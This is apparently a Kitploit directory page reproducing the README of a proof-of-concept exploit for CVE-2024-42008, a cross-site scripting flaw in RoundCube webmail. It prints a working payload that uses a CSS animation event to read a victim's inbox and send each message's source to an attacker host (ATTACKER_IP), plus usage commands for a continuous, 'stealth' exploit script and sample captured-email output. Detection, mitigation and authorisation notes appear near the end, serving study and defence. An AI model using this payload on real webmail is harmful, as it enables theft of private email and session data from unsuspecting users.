Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Roundcube-CVE-2024-42008-POC | Kitploit
Tools/GitHubGitHub/rpgsec/roundcube-cve-2024-42008-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPhishingCTFLearning & Education
GitHubrpgsec/roundcube-cve-2024-42008-poc

Roundcube-CVE-2024-42008-POC

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-42008 RoundCube XSS Exploit

Overview

This repository contains a proof-of-concept exploit for CVE-2024-42008, a Cross-Site Scripting (XSS) vulnerability in RoundCube webmail application. This exploit is designed for educational purposes and controlled penetration testing environments like HackTheBox.

Vulnerability Details

CVE-2024-42008 Summary

  • CVE ID: CVE-2024-42008
  • Type: Cross-Site Scripting (XSS)
  • CVSS Score: High
  • Affected Versions:
    • RoundCube ≤ 1.5.7
    • RoundCube 1.6.x ≤ 1.6.7
  • Fixed Versions: 1.5.8, 1.6.8+

Technical Details

The vulnerability exists in rcmail_action_mail_get->run() and allows remote attackers to execute arbitrary JavaScript in victims' browsers. The flaw stems from insufficient input validation when processing email content, particularly in handling CSS animations and JavaScript execution contexts.

Key Attack Vector:

  • Malicious HTML content injected via contact forms or email messages
  • CSS animation properties used to trigger JavaScript execution
  • onanimationstart event handlers bypass content filters
  • JavaScript payload executes in the context of the webmail application

Impact

Successful exploitation allows attackers to:

  • Steal victim's emails from INBOX and other folders
  • Exfiltrate email metadata (UIDs, message lists)
  • Access email source code and attachments
  • Send emails from victim's account
  • Harvest login credentials and session tokens
  • Perform actions on behalf of the victim

Exploit Script Analysis

Script Architecture

The exploit consists of three main components:

  1. XSS Payload Delivery: Sends malicious HTML via contact form
  2. HTTP Server: Listens for exfiltrated data
  3. Data Processing: Captures and logs stolen emails

Payload Breakdown

root@kitploit:~
// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Fetch email list from victim's INBOX
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extract email UIDs using regex
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. For each email, fetch full source
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrate email data to attacker server
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

Key Features

  • Continuous Operation: Can send payloads at regular intervals
  • Stealth Mode: Minimal footprint and error handling
  • Data Logging: Automatic capture and storage of exfiltrated emails
  • Debug Mode: Proxy support for traffic analysis
  • Configurable: Multiple command-line options

Usage

Prerequisites

root@kitploit:~
pip install requests

Basic Usage

root@kitploit:~
# Single payload delivery
python cve-2024-42008-exploit.py

# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c

# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60

# Debug mode with proxy
python cve-2024-42008-exploit.py -d

Configuration

Edit the script to configure:

  • ATTACKER_IP: Your listening server IP
  • ATTACKER_PORT: Port for receiving exfiltrated data
  • RECIPIENT_EMAIL: Target email address
  • TARGET_URL: Vulnerable RoundCube instance
  • PROXY: Proxy server for debugging (Burp Suite/Caido)

Command Line Options

OptionDescription
-d, --debugEnable debug mode with proxy support
-c, --continuousSend payloads continuously
-i, --intervalInterval between payloads (default: 30s)

Attack Flow

  1. Payload Injection: Script sends malicious HTML via contact form
  2. Email Delivery: Vulnerable RoundCube processes and delivers email
  3. Victim Interaction: User opens/views the malicious email
  4. XSS Execution: CSS animation triggers JavaScript payload
  5. Data Exfiltration: JavaScript steals emails and sends to attacker
  6. Data Capture: Exploit server receives and logs stolen data

Detection and Mitigation

For Defenders

Detection Indicators:

  • Unusual CSS animation properties in email content
  • onanimationstart event handlers in HTML
  • Suspicious JavaScript in email messages
  • Outbound requests to unknown domains from webmail
  • Repeated contact form submissions

Mitigation Strategies:

  • Update RoundCube to version 1.5.8 or 1.6.8+
  • Implement Content Security Policy (CSP)
  • Enable email content filtering
  • Monitor for suspicious outbound traffic
  • Regular security audits of webmail configurations

For Penetration Testers

Testing Considerations:

  • Ensure proper authorization before testing
  • Document all activities for reporting
  • Test in isolated environments only
  • Verify target is intentionally vulnerable
  • Follow responsible disclosure practices

Legal and Ethical Considerations

⚠️ WARNING: This exploit is provided for educational and authorized testing purposes only.

  • Only use on systems you own or have explicit permission to test
  • Designed for HackTheBox and similar learning platforms
  • Unauthorized use may violate local and international laws
  • Always follow responsible disclosure practices
  • Respect privacy and data protection regulations

Technical References

  • CVE-2024-42008 Official Entry
  • RoundCube Security Advisory
  • CWE-79: Cross-site Scripting

Output Example

root@kitploit:~
[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200

[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log

Disclaimer

This code is provided for educational purposes and authorized penetration testing only. The authors are not responsible for any misuse or damage caused by this software. Always ensure you have proper authorization before testing any system.

Download Tool